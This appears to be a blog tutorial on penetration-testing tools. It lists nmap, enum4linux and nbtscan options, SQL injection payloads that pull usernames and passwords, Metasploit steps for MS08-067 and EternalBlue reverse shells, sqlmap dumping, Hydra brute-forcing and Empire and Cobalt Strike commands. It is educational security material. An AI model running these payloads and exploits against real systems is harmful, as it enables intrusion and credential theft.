Penetration testing, commonly known as pentesting, is a critical practice in cybersecurity that involves simulating attacks on a network, system, or application to identify vulnerabilities before malicious actors can exploit them. This guide provides an in-depth look at essential pentesting commands and tools, offering detailed technical explanations and practical examples.
Enumeration is a crucial phase in penetration testing that involves actively gathering detailed information about a target system, network, or application. The primary goal of enumeration is to identify and catalog resources, services, users, and configurations that may be vulnerable to exploitation.
Nmap (Network Mapper) is a powerful and versatile open-source tool used for network discovery and security auditing. It can identify live hosts on a network, open ports, running services, and even the operating system and version of the target devices.
--min-rate <rate>
: Sets the minimum number of packets sent per second to speed up the scan.-n
: Disables DNS resolution to increase scan speed and avoid DNS-related delays.--open
: Displays only open ports, filtering out closed and filtered ports.-O
: Enables OS detection, attempting to identify the operating system of the target.-oG <file>
: Outputs the results in a Greppable format for easy parsing.-oN <file>
: Outputs the results in a human-readable format.-oX <file>
: Outputs the results in XML format for integration with other tools.-Pn
: Skips the host discovery phase, assuming the target is up.-p-
: Scans all 65,535 TCP ports.-p <ports>
: Specifies a list of ports to scan.-sC
: Runs default Nmap scripts for common vulnerabilities.-sS
: Performs a stealthy SYN scan, which is less likely to be detected by firewalls.-sU
: Scans UDP ports, which are often overlooked but can be critical.-sV
: Probes open ports to determine service/version information.-T4
: Uses aggressive timing options to speed up the scan.--traceroute
: Maps the path packets take to reach the target, useful for understanding network topology.-v
, -vv
, -vvv
: Increases verbosity for more detailed output.192.168.0.1
, saving the results in a Greppable format.sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -vvv 192.168.0.1 -oG ports.txt
192.168.0.1
, detects service versions, and runs default scripts to gather additional information.nmap -p22,80,443 -sV -sC -n -Pn 192.168.0.1 -oG services.txt
Enum4linux is a tool for enumerating information from Windows and SMB (Server Message Block) services. It is used to gather details about users, groups, shares, and policies in a Windows environment.
-a
: Performs a full enumeration using all available options.-G
: Enumerates groups on the target.-M
: Enumerates machines (computer accounts) on the target.-P
: Enumerates password policies, providing insight into security settings.-S
: Enumerates shared resources (shares) available on the target.-U
: Enumerates users on the target, which can help in identifying potential accounts to target.-d
: Provides detailed information, increasing verbosity.-p <password>
: Specifies a password to use for authentication.-u <username>
: Specifies a username to use for authentication.enum4linux -a <target>
NBTScan is a command-line tool for scanning NetBIOS services on a network. NetBIOS (Network Basic Input/Output System) allows applications on different computers to communicate within a local network.
-v
: Enables verbose mode to provide more detailed output.-d
: Dumps the contents of the NetBIOS packets.-e
: Formats the output in /etc/hosts format, making it useful for adding to hosts files.-l
: Formats the output in lmhosts format.-t <time>
: Sets the maximum wait time for responses, controlling the scan duration.-b <bandwidth>
: Limits the bandwidth used during the scan.-s <separator>
: Formats the output for easy scripting and parsing.-m <retransmits>
: Sets the number of retransmissions for reliability.nbtscan 192.168.0.1
nbtscan 192.168.0.1/24
nbtscan -f <file>
Searchsploit is a command-line interface for searching and retrieving exploits from the Exploit-DB database, a repository of known vulnerabilities and exploits.
-c
: Case-sensitive search.-e
: Exact term search.-t
: Search by title only.--cve <CVE-ID>
: Search by CVE identifier.-j
: Output in JSON format.-o
: Allow titles to overflow columns.-p
: Show full path to exploit files.-v
: Verbose mode.-w
: Show URLs to exploit-db.com.--disable-colour
: Disable colored output for easier reading or scripting.--nmap <file.xml>
: Parse Nmap XML output for automated exploit searching.SQL Injection is a technique used to exploit vulnerabilities in an application's database layer by injecting malicious SQL code. Here are some basic payload examples:
' OR '1'='1' --
UNION
SQL operator to combine the results of two or more select statements into a single result.' UNION SELECT null, table_name FROM information_schema.tables --
' AND 1=CONVERT(int, (SELECT @@version)) --
' OR IF(1=1, SLEEP(5), 0) --
' AND 1=1 --
' AND 1=2 --
' UNION SELECT @@version, null --
' UNION SELECT table_name, null FROM information_schema.tables --
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username, password FROM users --
' OR '1'='1'/*
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit --cve 2021-4428
Exploitation is the phase in the penetration testing lifecycle where the tester actively attempts to exploit vulnerabilities identified during the enumeration and scanning phases. The goal of exploitation is to gain unauthorized access to a system, elevate privileges, or execute arbitrary code. This step involves using various techniques and tools to take advantage of weaknesses in software, hardware, or network configurations.
Metasploit is a widely-used exploitation framework that provides a comprehensive suite of tools for developing, testing, and executing exploits. It includes a vast database of known vulnerabilities and pre-built exploits.
MS08-067
vulnerability in Windows SMB, setting up a reverse TCP payload to gain a meterpreter session on the target.msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST <target_ip>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your_ip>
run
ms17_010_eternalblue
) to target a Windows machine via SMB, establishing a Meterpreter session.msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
run
SQLmap is an automated tool for detecting and exploiting SQL injection vulnerabilities in web applications. It can extract database information, execute SQL commands, and even provide a command shell.
sqlmap -u "http://example.com/index.php?id=1" --batch --dump
BeEF (Browser Exploitation Framework): BeEF focuses on exploiting vulnerabilities in web browsers. It allows testers to control compromised browsers and perform various actions, such as stealing credentials or capturing keystrokes.
Hydra is a password-cracking tool that supports numerous protocols, including FTP, HTTP, SMB, and more. It performs brute-force attacks to guess login credentials.
passwords.txt
.hydra -l <username> -P <passwords.txt> ftp://<target_ip>
Post exploitation is crucial for penetration testers to fully demonstrate the impact of vulnerabilities discovered during testing. It simulates real-world attacker behaviors and helps organizations understand their exposure to sophisticated cyber threats. By conducting thorough post-exploitation activities, testers provide actionable insights for improving security defenses and mitigating risks effectively.
A post-exploitation framework that utilizes PowerShell for Windows environments. It includes modules for maintaining access, executing commands, and exfiltrating data.
empire
usemodule credentials/powerup/allchecks
execute
A commercial penetration testing tool that integrates post-exploitation capabilities with command-and-control infrastructure. It facilitates advanced threat emulation and red team operations.
./teamserver <your_IP> <password> <DNS_name>
./cobaltstrike
exploit
Penetration testing is a critical component of cybersecurity, helping to identify and mitigate vulnerabilities before they can be exploited by malicious actors. Tools like Nmap, Enum4Linux, NBTScan, Searchsploit, and Hydra provide invaluable capabilities for enumeration and exploitation, while understanding post-exploitation techniques ensures a comprehensive approach to securing systems and networks.
By mastering these tools and techniques, cybersecurity professionals can enhance their ability to protect against potential threats and improve the overall security posture of their organizations.
Thanks for reading ^^
bc1q4uzvtx6nsgt7pt7678p9rqel4hkhskpxvck8uq
0x7a70a0C1889A9956460c3c9DCa8169F25Bb098af
7UcE4PzrHoGqFKHyVgsme6CdRSECCZAoWipsHntu5rZx